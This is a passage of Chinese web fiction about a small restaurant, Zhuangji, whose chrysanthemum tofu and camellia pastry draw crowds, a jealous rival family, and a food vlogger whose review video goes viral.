所以在通知里，庄凝冬只跟他们说了菊花豆腐的事，没有提到山茶花酥。 再也不搞抽象了：[不懂就问，什么是菊花豆腐，用菊花做的豆腐吗？菊花也可以用来煮豆腐吗？听起来有点奇奇怪怪的，不过想到庄记的老板，我忽然又觉得没有什么是不可能的，感觉她就算拿块泥土来炒菜，我都会笑着吃下去。] 这个菊花豆腐庄凝冬忘了拍照，一时间也不知道怎么回答他的疑问，她沉默着，直到看到后半句，无奈地笑了下。 这群顾客怎么好像疯疯癫癫又很信她的样子？ 纯情小y：[菊花豆腐你都不知道？它可是上过国宴的一道菜，不止味道上乘，外形更是精美无比。] 谭清莹：[！！明天的新品是菊花豆腐？！我去开始期待起来了！！菊花豆腐不是用菊花煮的，它是一道将豆腐切成菊花样式的菜，说是菜，但我感觉更像是一件艺术品，特别特别美。] 张磊：[哈？将豆腐切成菊花样式？开玩笑的吧，这怎么可能做到？别说切了，我有一次拿豆腐没控制住力道，它就这样烂在我手里了，实在想象不到是什么样的。] 他们谈话闲聊间，群里已经有人去搜了菊花豆腐的照片发出来。 众人看见后，均是一片惊叹—— 养生girl：[卧槽卧槽这也太好看了吧！怪不得是国宴呢。] 何筝：[啊啊啊明天我一定要吃上！] 陆向安：[我丢，这么好看，想拍，可惜我要上班了，根本没空去，也不知道何年何月才能吃上。] 有种打死我：[这……豆腐真的能切到这种程度的粗细？？老板也太牛了吧，有这样的才艺竟然还屈居在溪城，真的越来越期待明天了！] 等日落：[我想问问这个限购吗？也是一人只能买一份？] 庄凝冬被问到，她不禁仔细思考起来。 老爷爷的豆腐蛮大一块的，她是打算将它们分成四小块，两小块做一份，这样能减少些被切掉的边角料。 一份才两小块，从份量上来讲属实不算多，如果有些顾客带上家人一起来吃，那一份是显然不够的，可若是不限量，就怕他们一个人疯买，导致其他人买不到。 庄凝冬想了想：[前三天限购，后面就不限了，虽然后面是不限了，但还是希望你们酌情购买。] 不想上早八：[好耶！这三天饭点前的那段时间刚好都是没课的，我爱早八！！上完早上的两大节就可以提前冲到庄记了，我要抓紧时间去多买点来吃！] 放老子一马：[太好了！等我到时候带爸妈来吃，又可以保一个月平安、至少一个月不用挨骂了！] 一杯奶茶：[上次是山茶花酥，这次是菊花豆腐，庄记这两次上的新品都特别好看特别有格调诶，真是爱了！] 没出息：[我把群友搜来的图发给我爸看了下，他一下子就爱上了，我都不敢想象要是我告诉他这是庄记即将要出的新品他会有多疯狂。] …… 次日，溪大。 上完早上两大节课的学生三三两两地从教学楼出来后，都往校门口走去。 这个时间节点其实蛮尴尬的，不适合吃早饭也不适合吃午饭，不过有大部分人在下课后都会到校门外买点吃带回宿舍放着。 毕竟他们一回宿舍可就懒得再出门了。 只不过再细看的话，可以这群人并没有往校门口外的小吃街走去，而是朝相反的方向去。 那人群里，结伴的还在互相挽着手，交流谈论着：“哎，听说了吗？庄记今天要上菊花豆腐了。” “是真的，我舍友就在群里，有什么事还能直接问老板，老板好像看到了就会回，可幸福了。” “真的会回吗？我也好想进群啊呜呜呜。” 有听到她们闲聊的其他人：“其实你们可以关注庄记的微博号，店铺上新的话，老板也会发到微博上的。” “这个我知道，我也关注了，只是我在底下的评论从来没被老板翻过牌，不过也不止我，反正我看下面评论，老板好像都没有回复过，啊啊啊啊好想跟老板说说话，早知道当初我也加群了，我到底在犹豫什么？！” 那人憨憨地挠了挠头：“原来是这样，那我也帮不了你，不过我觉得可以让群里的人跟老板反馈一下？” “好主意！” …… 由于今天上的菊花豆腐大家都很感兴趣，庄记门前也是一片热闹。 不过与之相反的，是隔了一条街的胖叔木桶饭店。 店里，女人坐在收银台前，拿着一把蒲扇拍着苍蝇。 她的脸色不大好看。 今天的生意更差了。 女人想着，拉开抽屉开了眼里面的钱，又猛地推了回去。 明明前段时间，某一天的生意还很不错来着。 不过也就只有那一天了。 那天过后，生意又跌回了之前的模样。 本来还以为做生意起起落落也是正常的，谁知道那是起落落落落落…… 这一跌，生意就越来越差了。 也不知道是什么原因。 要说是她老公的做饭水平下降了，那也不至于。 都做了十几年了，总不能跟被夺舍了一样突然变差吧。 原本还想着五一这个假期放假了生意会好点，哪知，还是那副鬼样子。 穿着围裙的胖男人从后厨里走了出来，他也臭着一张脸到一旁坐下。 一个年轻男子从门外走了进来，脸上的笑还没来得及收回去，就被胖男人随手从竹筒里抽的一次性筷子打中。 “整天就他妈只知道玩玩玩！到处瞎他妈混！”胖男人心情差，看什么都不爽，“老子辛辛苦苦养你那么大，什么时候能帮老子赚钱？！” 陈伟早就习惯他爸这阴晴不定的模样了：“又吃炸。药了？” 陈母此时也烦了起来：“能不能收起你这幅混吃等死的模样？！店里生意都差成什么样了不知道帮想点办法？” 陈伟也不悦了：“店里生意不好跟我有个鸡毛关系？我能怎么想办法？我去门口逮着个人就把他们拖进来强制消费呗。” “你！” 此时，门口刚好有个人想进来，然而却被身旁的好友拉住：“你每天就来这儿吃东西？” “是啊。” “……我说你都到这儿了，就不能多走几步去另一条街的庄记？” “庄记是什么？” “啊？你居然不知道，那我可得好好安利给你了，庄记里面的东西是这个世界上最好吃的！” “有那么夸张？” “真的，你信我！我现在就带你去吃……” 到店的客人就这么被拖走了，陈父气得跟了出去，骂骂咧咧地看着那两人消失在街角，转头又回去把气撒到母子俩身上。 不过陈母此时却没心情跟他吵。 庄记，她听着怎么那么耳熟呢？ 过一会儿，陈母忽然大喊：“我想起来了！” 40-50 第41章 第41章 “我记得生意变好的那天，有个顾客在那打电话就提到了庄记，他还像还说在咱们这吃踩了大雷来着……” 陈母艰难回想着，随着脑海中的片段逐渐清晰，她的神情也越来越不耐烦。 “真实气死我了，咱们家也没那么难吃吧，瞧把他委屈得。” 陈父捕捉到重点：“庄记是什么？” 陈伟天天在外面四处混，倒是听到一些碎语，他不太在意地说：“好像是六巷新开的一家店？其他我就不知道了，我也只听过一点字眼。” 见他还是一副不上心的样子，陈父再一次扔了一根筷子过去：“啥啥都不会干，问啥啥也不知道，让你找个厂去打工也找不到，要你他妈的有什么用？真是个废物。” 这些话从小听到大，陈伟已经麻木了，他一副死猪不怕开水烫的模样惹得陈父更生气了，他还想说点什么，被陈母拦住了。 “行了，整天骂来骂去顶什么用？不如让阿伟去打听打听那个庄记是什么来头。” 陈父一听，觉得有理，果真冷静了下来。 他啐了一口：“我倒要看看这个庄记是什么东西。” * 蛋挞是一个美食探店博主，在咕咚咕咚拥有百万粉丝。 在这个营销为王的时代，不少探店视频都是商家花了钱打的广告，而蛋挞则是目前为数不多的真情实感类、从个人感受体验出发、没收过一分钱的探店up主。 当然也有不少商家找过他，不过他都拒掉了。 up主不是他的本职工作，他也不靠这个赚钱，从最初开始他也不是一上来就做探店类视频的，他原本做的是自己的生活vlog，只是单纯为了记录而已，想着等以后自己老了可以看看这个年纪的自己在做什么，重新感受一遍自己的喜怒哀乐，所以，vlog里的内容不仅零碎杂乱，言辞中还带了很多个人色彩。 比如说吐槽工作上的破事、遇到的难吃的商家…… 谁知道后面的粉丝竟然渐渐多起来了，然后他的一些吐槽被更多人看到，有被踩的商家看到就不乐意了，来私信他让他删掉。 本着多一事不如少一事的原则，他就删了。 有粉丝让他不要怂，吐槽就吐槽了，怎么，做得差还不让人说吗？ 是这个道理，当时网上也有很多人是走吐槽路线的。 不过蛋挞这个人，比较岁月静好，他非常了解自己是肯定走不了那个路线的。 后面做vlog也没那么随心所欲了，丢了以前的松弛感，做出的vlog也怪怪的，蛋挞觉得这样还不如不记录，于是就停更了。 一段时间后，他重新登录软件，发现竟然有粉丝还在等他更新，不过没办法，不管有多少人等，他做不出就是做不出，有时候为了做vlog而做vlog的话，反而失去了真实感，那就和他的初衷背道而驰了。 蛋挞可不想自己以后看的是表演痕迹满满的日常生活记录。 他只能告知他们自己无法做出满意的vlog，让他们不要在等了。 有粉丝觉得可惜，有粉丝还在等…… 后来某一天，蛋挞翻私信发现有个粉丝跟他说既然不做vlog，问他要是遇到什么好吃的店能不能发个动态分享出来。 那粉丝跟他是一个城市的，说之前跟着他vlog里觉得好吃的店铺吃，基本没踩过雷。 蛋挞想了想，觉得这个提议可以，反正要是吃到难吃的店他私下吐槽吐槽不发到网上就行了。 就这样，蛋挞开始了他的探店之路。 也许是因为内容做得认真，不少粉丝跟着吃了之后都没什么差评，所以蛋挞就慢慢积累了不少粉丝。 蛋挞向来是吃过觉得好吃的才会做视频发出来，这样可以保证质量，不过也有个弊端，就是更新时间不稳定。 有时候一直没探到好吃的店铺的话，一个月不更新也是常有的事。 这就导致他留不住粉丝，所以即使他坐拥百万粉丝，但平常的视频播放量也只有几十万而已。 最低的时候才十几万。 当然也有另一个原因：由于他前期的探店一直停留在某个市，所以关注他的粉丝基本是那个市的人，这就使得他后面再做其他地区的探店视频时，粉丝们都不太感兴趣。 不是谁都能为了一样吃的千里迢迢山长水远去到另一个地方的。 旅游除外。 特别是有时候等了一两个月，结果等来的是其他城市的探店视频时，本地的粉丝多多少少会有点失望，久而久之就不怎么看了。 最近，蛋挞又在为探店一事发愁。 距离上一次发布视频已经过去一个月零三天，虽然他不靠这个生活，但时间长了，太久不更新又觉得对不住嗷嗷待哺的粉丝。 可是没办法，他真的找不到店铺。 为了找到好吃的店，他这段时间每周周末都去了外地，然而都无功而返。 再这样下去，别说靠不靠这个赚钱了，他感觉他都快要花钱当探店up主了。 为了减少踩雷几率，蛋挞还试过在网上找那些风很大的店铺，结果踩雷几率反而变大了，可真把他气笑了。 某天，蛋挞窝在家刷着微博。 作为美食类up主，他看到一些跟美食有关的话题时，都会点进去看看。 一个话题为——百味楼的山茶花酥竟比不上小作坊的标题映入眼帘。 蛋挞好奇地点了进去。 然后毫不意外，看到了乌烟瘴气的评论区。 他自动屏蔽掉那些争论，带着正常的目光去对比这两块山茶花酥。 却意外发现，不知道从哪家不知名小店出来山茶花酥竟然真的比百味楼的还要好看。 蛋挞来了兴致，找到了这块山茶花酥的来源——溪城的庄记。 要不去这家店看看？ 蛋挞想着，却又怕跟之前一样踩雷。 而且这个标题争议性很大，非常能博流量，也不知道是不是店铺为了营销想出的法子。 但乍一细看这块山茶花酥，花瓣上的层层叠叠薄而透，层层分明，显然是在揉面上下了不少功夫。 蛋挞虽然不是内行的，但他也知道要把这酥的层次感做得那么分明有多不易。 兴许那家店是真有两下子。 反正踩过的雷那么多，多这一次不多，少这一次也不少。 蛋挞想着，挑了个周末前往庄记。 溪城离蛋挞的所在地还蛮远的，坐高铁也要三小时。 他出了高铁站就打车前往目的地。 正是饭点，蛋挞觉得自己到得也挺早的了，背包都还没拿到酒店放着就来了。 谁知还是排了个长队。 还挺多人的。 味道应该还可以吧？ 蛋挞在队伍里玩手机，有从店里出来的顾客走到他附近，跟排在他前面的人说着话。 “菊花豆腐早没了！！还是来晚了，真服了，这群人怎么这么卷啊？” “算了算了周末是这样的，咱们下午早点来就是了，现在还是想想吃什么吧。” “都行吧，反正都好吃。” “也是。” …… 蛋挞不禁停下刷手机的手。 菊花豆腐？！ 是他想的那个菊花豆腐么？ 就这一家看上去平平无奇的路边小店竟然有菊花豆腐？ 蛋挞持怀疑态度。 不过也有可能，现在网上还挺多卖那种做菊花豆腐的模具的。 只需要用模具对着豆腐按一下，就能让豆腐在水中开出花来。 但那种模具做出来的，每根豆腐都蛮粗的，跟大厨手切的、细如发丝的根本没法比。 蛋挞以为那是前者，便没抱有多大期待。 等排到他时，店里只剩番茄牛腩面了。 “就，只剩这一样菜式了？！” 季初曼：“是的。” “……” 蛋挞心说自己这也不知道是幸还是不幸。 说不幸，还刚好赶上最后一份。 说幸，番茄也不是他喜欢吃。 没别的原因，番茄这种食材，要做得好吃真的太难了，本身自带酸甜，要是平衡不好这个口味，做出来真的会很灾难。 见蛋挞还在犹豫，后面的人等不及了：“你还要吗？不要的话可以让我买。” 蛋挞：“……” 来都来了，就试试吧。 “来一份吧。” 后面的人：“……” 菜上得挺快，蛋挞找了个位置才坐下不久，番茄牛腩面就被端上来了。 他原本还没报什么期待。 直到看到鲜亮的番茄色、以及闻到那股酸酸甜甜的气味时，他觉得胃口一下子就被打开了。 待食物入口，他震惊得瞪大眼睛。 这味道…… 说是蛋挞探店以来的天花板也不为过。 真是太好吃了！ 蛋挞不断将食物往嘴里塞，大半天的舟车劳顿在此刻得到了慰藉。 一碗面见底，汤汁也被喝了个精光，蛋挞打了个饱嗝。 看来新的探店视频有着落了。 他下午就来拍！ 下午，有了前车之鉴，蛋挞很早就来了附近溜达，等庄记门前陆陆续续有人开始排队了，他才过去排。 蛋挞拿出手机在店门前队伍里先拍了一小段视频：“大家下午好！好久不见，我今天是来到了溪城，一个生活节奏比较慢的城市，这次要探的店呢是庄记饭馆，给你们看看店铺外面的样子，牌匾上的字还挺飘逸的，现场也是很多人，店铺还没到营业时间呢，就已经排起了长队……” 拍完一段，有社牛顾客就好奇地跟他搭话，问他是不是在直播。 “不是直播，”蛋挞看对方挺年轻的，不用解释太多也应该懂，就简单说了，“是做探店视频的。” “这样啊，探店视频好啊，”对方来了兴致，“你视频发在哪啊？咕咚咕咚？大蓝本？还是……” “都有，不过主要在咕咚咕咚。” “名字叫什么？来我给你点个关注，可遇上宣传庄记的了，等你发布就给你投个币，记得多说点好话啊。” 其他人听到也过来：“叫什么来着，我也点个关注。” 蛋挞：“……” 这次来得早，什么菜式都还有。 既然是探店博主了，那自然所有菜式都要来一份啦。 点完单，为了方便拍摄，蛋挞找了个角落坐下，又对着店里拍了一小段视频。 他的视频向来是边拍边说，这样更具真实感。 “大家看看，这就是店里的环境了，挺整洁明亮的，桌子蛮新的，看那头，还挂着字画呢，收银台那还有两条锦鲤，看见没？” 原本以为番茄牛腩面已经足够惊艳，然而，等菜依次被端上来时，蛋挞才知道什么叫视觉盛宴。 这店里的每一样菜都非常好看，厨师对各种食材的火候明显掌握的非常好，极大程度上保留了食材原本的色调，很明亮，一点也不暗沉。 尤其是吸引他来的山茶花酥，实物看可比图片美太多了。 还有……菊花豆腐。 蛋挞一看到，瞬间就移不开眼了。 神情也被惊艳得呆滞。 浅淡茶色的清亮汤水里，一灰一白的两块菊花状豆腐静静搁置在同一个碗里。 在晃荡的水域中，千丝万缕的豆腐丝肆意展开，开到最艳丽，中间一粒鲜艳的枸杞点缀着，搭配蒙上一层淡黄的豆腐白，再加上呈现水泥灰的黑豆腐，特别好看。 因为离得近，两块豆腐的细丝有些还纠缠在一起，像缠绕在一起的花瓣，犹如并蒂而开的双色菊花。！！！ “卧槽……” 蛋挞忍不住惊叹出声，这花，不是，这豆腐，这颜色，这刀功，合在一起震惊到他都不知道先感叹哪一个了。 先说刀功，蛋挞没看见成品之前还以为是用模具做出来的那种，没想到见了实物之后，发现比网上的还绝。 就这一根根豆腐丝，蛋挞毫不怀疑它们细可穿针。 太牛了！ 再是这颜色搭配，蛋挞好像还没在网上看到过有用黑豆腐做菊花豆腐的，基本都是用白豆腐做。 没想到黑豆腐做出来更惊艳。 而且和白豆腐做的菊花豆腐放在一个碗里，这色彩对比更明显，更雅致了。 太有审美了！ 蛋挞佩服得五体投地。 这一份菊花豆腐美到他都不忍破坏。 他只好从其他菜品开始吃…… 几乎是每吃一样，就刷新了蛋挞对这些菜式的固有印象，太好吃了！ 这里面的食材普普通通，但是厨师却能将它们原有的味道发挥得无比完美，组合在一起，又形成了让人欲罢不能的鲜味，怎么都吃不够。 等每样都吃了一点后，他才把目光放在菊花豆腐上。 他先是喝了点汤。 汤色澄澈，尝到鲜味的那一刻，蛋挞愣了愣，是鸡汤，里面有浓郁的鸡肉香。 不过虽是鸡汤，却没有厚重发腻的鸡油和腥气，味道是清爽的，一口吞下去，砸砸舌尖上余留的味道，能尝到一点甘甜来，是鸡的鲜甜还有枸杞的清甜。 蛋挞止不住感叹：“这才是真正的入口回甘吧……” 接下来，他狠了狠心，才舍得毁坏那朵豆腐菊花。 他折下了一角花瓣，混着如丝绸般丝滑的鸡汤一同送进了嘴里。 花瓣细如丝，入口一抿，豆腐特有的馥郁香气在舌尖上随着鸡汤鲜香划开，触感完全感受不到豆腐的存在，但是味觉却能感觉到豆腐无处不在。 特别是黑豆腐，有股醇厚的黑豆香。 吃起来咸香甘甜，就连作配的那根翠绿青菜被鸡汤浸过后都特别好吃。 吃下这么一碗菊花豆腐，蛋挞只觉得千里迢迢赶过来的疲惫都被消除了。 “！太香了，好吃到无法用语言形容，”蛋挞被这些菜的味道香到整个人都有点恍惚，“这么好吃的食物是真实存在的吗？” 唉，看了年少除了不能遇见太惊艳的人外，还不能遇见太惊艳的菜啊。 这家店的味道那么顶，之后吃什么估计都是味同嚼蜡了，让他以后还怎么做探店视频啊？！ 等会儿，探店视频…… 蛋挞猛地想起来自己还没拍摄品尝环节的视频！ 现在录还来得及吗？ 低头一看，一桌子残羹，完全不复初始样貌。 哦豁，完蛋！ 只能明早再来一次了。 第二天，蛋挞又来了一遍庄记，补录了需要的片段，然后就踏上了回家的路。 平时找不到好的店铺，没法更新视频时，蛋挞都不会登账号看后台的，因为底气不足怕看到催更。 但现在不一样了。 有了庄记的素材，蛋挞觉得他可以横着走了。 登上账号，果不其然，后台一堆消息，无一例外都是催更，各种催更—— [上帝：你有什么愿望吗？ 我：我想早点脱单。 上帝：这个太难了，我们换一个吧。 我：我想让蛋挞更视频。 上帝：我还是想办法让你脱单吧。] [今天不舒服去看了医院，我问医生我得了什么病，他说我的病症非常罕见，但也可以治，他说只要让蛋挞更新就可以了。] [气死我了，蛋挞你到底什么时候才更新？！我饿得没东西吃了！] …… 蛋挞无视他们，点开了粉丝群。 他的粉丝群都是一群吃货，每天聊这聊那，由于蛋挞长期不出现，现在他的粉丝群已经不谈论他了。 蛋挞：[朋友们我回来了！想我了没？] 群里寂静一瞬，然后—— [奶奶，您关注的up主终于出现了。] [你是谁？为什么会出现在我的群里？] [你一般不都是更完视频才会出现吗？我还以为你更视频了，害得我刷新了好几次主页都没看到。] 蛋挞：[我已经拍好素材了，这次我超级满意，方方面面都是完美到无可挑剔的那种，你们可以期待一下。] 蛋挞：[我现在在回家的高铁上，等我剪好回到家就可以发了。] [你现在都这么自信了？竟然还给我们预告上了。] [要是满足不了我们的期待怎么办？] [好奇是什么顶级店铺让你这么自信，难道你中奖了去得起五星级酒店了？不会是百味楼吧，百味楼不用推，不是因为我们都知道，而是因为我们吃不起……] 蛋挞：[总之你们到时候就知道了，透露太多就没神秘感了。] [这家伙是懂吊胃口的，我现在已经难受得上蹿下跳了，恨不得将时间快进到今晚。] 我大把钱：[我不信有那么完美的饭店，要真有那么完美，我把我所有的币都投给你！] [你不会一个币都没有吧？] 我大把钱：[……这是什么话？我整整4451个币呢！马上截图给你们看。] 那人立马发了张图，还真有4451个币。 咕咚咕咚对于单个视频作品不设投币限制，只要你有钱你就可以一直投，而每获得一个币的投入，视频制作者就可以得到一块钱的收入。 于是，群友兴奋了。 [哇去，蛋挞还有这么有钱的粉丝啊？别当他粉丝了，来当我爹吧，我比他听话。] [坐等今晚。] 蛋挞在坐高铁的时候就剪好了视频，等回到家后他就上传好，发布。 那群粉丝几乎是守着蛋挞的主页等更新。 在系统都还没将视频的封面刷新出来时，那群粉丝就迫不及待点了进去。 视频开头是很普通的一处街景，再看店铺外观，除了牌匾还可以外其他更是平平无奇，也就人看上去多了点。 不过蛋挞先前做的探店视频人也不少。 所以，才看了一点开头的粉丝们难免失望。 [什么嘛，看起来很一般啊，哪有很完美？] [蛋挞是不是因为长时间做不出视频所以疯了？随便逮着一家店都说完美，唉，咱们以后还是别催太紧了吧。] [看来我的币可以保住了。] 不过很快，菜式开始一一出镜，原本还在质疑的粉丝纷纷打脸了。 [我去，这番茄色好纯正啊，感觉隔着屏幕都闻到了酸酸的味道。] [还得是东坡肉绝啊。] [感觉这家店也那么普通啊。] 直到镜头最后分别扫过山茶花酥和菊花豆腐，弹幕瞬间沸腾了，齐齐划过一片五颜六色的“卧槽”—— [这山茶花酥啊啊啊美死我得了！] [草草草，up主要是不说，我都不知道泡在水里的那两朵花是什么，居然是豆腐！！这也太美了吧！] [这就是华国菜的魅力吗？连一块豆腐都能做得那么典雅清新。] [之前就在网上看过不少美食区整活up主挑战过菊花豆腐，但还是第一次见到这么好看的，特别是一灰一白搭配在一起，像小说里象征同生共死的双生花，谁懂啊？！] [光是这些菜的外观，我就想朝刚刚的自己扇一巴掌，谁教你以貌取店的？] [我现在看这家店都觉的金碧辉煌了，不愧是蛋挞嘴里的完美，是真的完美啊。] [所以，中午那位ID为“我大把钱”的大哥，请问你的币都投给蛋挞了吗？] 第42章 第42章 “我大把钱”其实也蹲点进来看更新了，他自然也看到了那条弹幕。 说实话，当他第一眼看到那一样样菜式后，心中也止不住惊叹，真的太好看了。 “我大把钱”自认也看过不少探店视频，吃过不少星级酒店，但都没遇见过这么惊艳的。 要不是知道蛋挞是那种实事求是、只会原视频直出的人，他都要怀疑是不是调过色了。 不然怎么会这么漂亮。 不过，到这也只是看了一个外观而已。 我大把钱：[别急，蛋挞都还没吃呢，单单一个外表怎么能算得上方方面面完美呢？] [也是，咱们继续看看蛋挞的品尝过程。] [你不会想抵赖吧？] [不至于，大把钱哥还是很有实力的，他可是在蛋挞礼物榜的前十名呢。] 视频里，他们接着往下看，菜品展现过后，蛋挞就开始边解说边吃的环节。 跟大多数探店视频一样，吃哪样就夹起来放到镜头前先给个特写。 “大家看这个番茄牛腩面，是很亮的番茄色，我特别爱这口番茄汤，番茄味很浓郁很好喝，里面还有牛腩的香气。你们看，面条的粗细也是一致的，还有这块牛腩，看看炖得多烂，软乎乎的，特晃悠，一咬开，里面还爆汁，酸酸甜甜的超绝超开胃！” “这是椒麻鸡，你们看看这个撕开的鸡肉，是不是油亮亮的？看着就很嫩是吧，我先给它蘸一点底下的椒麻汁，这味道……嘶——很麻很辣很香，麻得我嘴巴生风，爱吃麻辣的朋友有福了，真的一定要来尝尝这份椒麻鸡，不来后悔一辈子。” “靠，大家快看，这就是之前那块连百……咳，多的我就不说了，懂得都懂，不懂的就算了，来，三百六十度给大家展示一遍，看到没，这块山茶花酥，连底部都是完美的，吃一口，你们听听这个酥脆的声音，大家记得，以后买到的话可千万别在安静的环境里偷吃，不然分分钟被发现。” “来了，接下来就到了目前为止我最爱的菜菊花豆腐了，草草草，真的特别好看啊你们能懂我第一眼看到时，心中的那种震撼吗？！” “我真的从来没见过有哪一样菜能做到这么风雅，哪怕同样作为菊花豆腐，这份菊花豆腐也能在原版原有的美中锦上添花。” “不多说了，我先替大家尝一下，这个像茶一样的汤水，是鸡汤来的，很新鲜很清甜，而这个豆腐丝被切得很细，吃到嘴里其实是没什么感觉的，但你又能尝到它独特的味道，特别醇厚特丝滑，就像吃了一场甘甜的细雨，柔和到能洗去你一身的疲惫。” “你们知道吗？这碗菊花豆腐其实还是国宴菜，”蛋挞脸上是难以抑制的激动，“家人们也是吃上国宴了，就这一碗你到五星级酒店去不得要998啊？而在这里，只需要55元，这还不赶紧冲？！这也许是我们平民百姓为数不多的能尝国宴的机会，就这还不冲的话，那真的是错过一个亿了。” …… 每样都介绍完之后，蛋挞放了一段自己安安静静吃饭的录像过程，明明上一秒还吃着紫菜炒饭，还没吞掉呢下一秒就往里塞起了鸡肉。 这吃相，不知道的还以为他上辈子没吃过饭呢。 [妈的，我好像知道蛋挞为什么一定要在晚上发了，服了我刚吃完饭的肚子又饿了。] [只能说你还好吃完了，不像我，我吃着我二十几块买来的外卖，在对比之下，我感觉自己在吃猪食：）] [不行了，好饿好饿，连蛋挞都吃得那么不顾形象，这饭菜到底是有多好吃啊？] [谁懂？我还没看完就已经去查到溪城的路程了，高铁三小时，好想马上就闪现过去。] [看到溪城的第一眼：不认识，是哪个犄角旮旯城市，看了之后：到底是什么小城市，竟然有这么牛的厨师，这种感觉就像一个普通的村子突然出了一个天才，好好奇背后的厨师。] [好奇＋1] 显然，不止他们，蛋挞也好奇。 所以蛋挞在吃饱饭后，又待到店铺卖完食材才上前走到窗口那礼貌询问能不能见见厨师。 结果看到里面就一个人，还是一个身形窈窕的女生。 对方戴着口罩和厨师帽，露出的一双眼睛很清透，跟水洗过一样亮。 这副打扮，显然是厨师，蛋挞上前跟对方交谈了几番，才知道她不仅是这家店的老板，而且这家店所有的菜式都出自她的手。 听完后，蛋挞是真的震惊得差点当场献上自己的膝盖，后面更是用三言两语讲清自己的身份来意，又问对方介不介意出镜。 只是回答几个问题，庄凝冬觉得没什么，便答应了：“不介意。” 后面就是一些简单的关于美食的交流，两人交谈完后蛋挞不忘拍了拍收银台上的二维码：“这是庄记的微博号，认准官方哈，老板刚说了目前只有微博有号，感兴趣的可以点个关注。” 随后他走到门外拍了写总结性的话语后，视频就结束了。 看到庄凝冬的出镜的那一刻，屏幕又是整齐划过一片彩色的啊啊啊。 [虽然看不到完整的脸，但这声老婆我先叫了/抱拳] [我就想知道上帝到底为她关了哪扇窗，刀功顶尖，厨艺一流，审美也绝，身材好声音动听，脸肯定也长得很好看，呜呜呜我是来这个世界凑数的吗？] [不多说了，效率高的人已经买好高铁票了。] [笑死，这么久以来好像都没让网友给他点过关注，现在帮别人宣传起来了。] [可见是真的很绝。] [怪不得蛋挞说方方面面都完美，就连厨师的气质都这么绝啊。] [说到完美，话说那位大把钱的大哥呢？投币了没？] 我大把钱：[……] 我大把钱：[投了投了，不仅把4451个币全投了，还另外充了2000币，给这个小饭馆的老板投了，实在是太强了！] 众人看到后，纷纷去看，果然，蛋挞发布的这个视频显示的金币数量已经破了万，有一半都是那位大哥投的。 [卧槽，蛋挞这波，赚麻了！还不快点感谢大哥？@蛋挞] [是谁在这里看了那么久赚了一顿饿不说，还要看着蛋挞赚大钱我不说，气死我了，取关一天再说。] [我们只是网友，你越界了。] [要不你再想想大把钱哥？他不仅赚了一顿饿，还还亏了几千币呢。] [谢谢你陌生人，舒服多了。] 我大把钱：[……] 后面有人发现盲点：[哎你们有没有注意到，视频里，蛋挞开头和结尾都出现在店铺门前了，但是阳光的方向不太一样哎，不同时段拍的？卧槽你小子！到底去吃了几顿？] 蛋挞：[……这都被你发现了，也就两顿而已啦，不怕你们笑话，第一次去的时候我被菜式惊到忘记拍视频了，后面为了补拍才又去一次的。] [别找借口了，难道不用补拍你就不会再去吗？] 蛋挞：[……] [话说你点了那么多菜都吃完了？] 蛋挞：[没有，昨晚那顿我打包回酒店当宵夜吃完了，中午那顿我也打包回来了，等会就加热吃，美滋滋～] 蛋挞回复了几个粉丝的问题后就去洗澡了，等洗完出来再看，才发现他的视频上热门了。 * 另一边，江映槐看着自己切出来的苦瓜，面无表情地闭了闭眼。 其实用来翻炒的苦瓜不用切成多薄的片，不过江映槐为了练刀功，还是选择了切成薄可透光的片。 不过切了没几片，她就被切得歪七扭八的苦瓜烦到了，加上又有点饿，到后面都是随便切。 江映槐今天没开直播，她走到炉灶旁，打了个鸡蛋搅散，起锅烧油，把蛋液倒下去炒熟盛出备用。 油烧得热，蛋液一下子被激发出浓郁的蛋香。 江映槐用筷子夹了点鸡蛋吃，刚出锅，烫得在她的舌尖直跳舞。 “嘶——呼呼～” 鸡蛋被炒得外层焦香，内里松软，好吃！ 江映槐又三两下把苦瓜倒入翻炒，最后加入鸡蛋炒了两下，就出锅了。 虽然江映槐只是刀功不太行，厨艺还算过得去，只不过有些时候，她那还可以的厨艺也会被刀功拖累。 就比如说现在，由于苦瓜切得不太规整，有些薄有些厚，这就导致翻炒的时候薄的苦瓜熟了，而厚的还没有，等厚的苦瓜熟了，薄的又炒过头了。 变得软趴趴的，甚至有些都发黄了。 江映槐嚼着，叹了口气。 能怎么着，自己做的，哭着也要吃完。 当代年轻人基本都有在吃饭时玩手机的习惯，江映槐也不例外，她刷着软件，然后蓦地在热门视频那里顿住。 那是一个探店视频，标题为——《第228期探店之史上最便宜的国宴》 虽然江映槐是美食up主，但她平时看的都是制作类的美食视频，遇见探店类则是划过去。 不过这一次，她停住了。 因为江映槐看到了那个视频封面—— 满桌子的美味佳肴，其他菜在外层围成了一个圈，将三朵花围在了正中央。 其中一朵是淡粉色的，而另外两朵则放在同一碗里，为一白一灰。 江映槐定睛一看，才发现那朵粉色的是一块酥点，而那一白一灰的…… 是菊花豆腐！ 单看封面就美得让人窒息，江映槐连忙点进去，准备一探究竟。 她没什么耐心，直接将进度条拖到上菜阶段。 江映槐这才发现，原来除去那三朵花，其他菜式也做得十分精美。 最重要的是能维持食材鲜亮的色泽，看着就让人食欲大增。 “这颜色也太好看了……每样菜看上去都好好吃啊，这家店的厨师将火候掌握得也太好了吧，好牛。” 江映槐看了眼自己碗里发黄的苦瓜，顿时一阵嫌弃。 接着往下看，是品尝阶段。 “好香好香，配上up主的解说也太绝了，看得我好饿呜呜呜，”江映槐被馋得只能低头拼命扒拉着自己炒的苦瓜炒蛋，“这嘶溜面条的声音，真有那么丝滑吗？看得我都想吃面了啊啊啊！” “好家伙，椒麻鸡真有那么香？”江映槐看着往下滴着椒麻汁的肉，又吞了一大口米饭，“感觉这一口下去，那肉嫩得能爆汁。” “这山茶花酥……” 江映槐自己本身就是做糕点的，从她手里做出的各种精致鲜花酥点都不少，饶是这样，在她看到视频的山茶花酥时，也不由得一愣。 太好看了，这花瓣绽放的弧度，真的能让人感受到一种循序渐进缓缓开花的过程。 要做到这样，必须严格控油温。 还有花蕊，是用椰蓉做的，经过炸制，金灿灿的，表层的椰丝一根根冒着点尖尖，那些炸出来的细碎，反而成了明黄的花粉。 看起来更逼真了。 江映槐自己也做过山茶花酥，但她做的，跟视频里的比还是差远了。 看到这里，江映槐才直观感受到这个小饭馆有多厉害。 “山茶花酥也太美了，妥妥的少女心收割机啊，这酥松的脆劲，听爽了，好想吃好想吃，都不知道自己以前在制造些什么垃圾。” 最后的菊花豆腐更是对江映槐造成了重重一击。 瞧瞧这一根根细如毛发的豆腐…… 江映槐眼睛都看直了。 “卧槽卧槽卧槽！！” 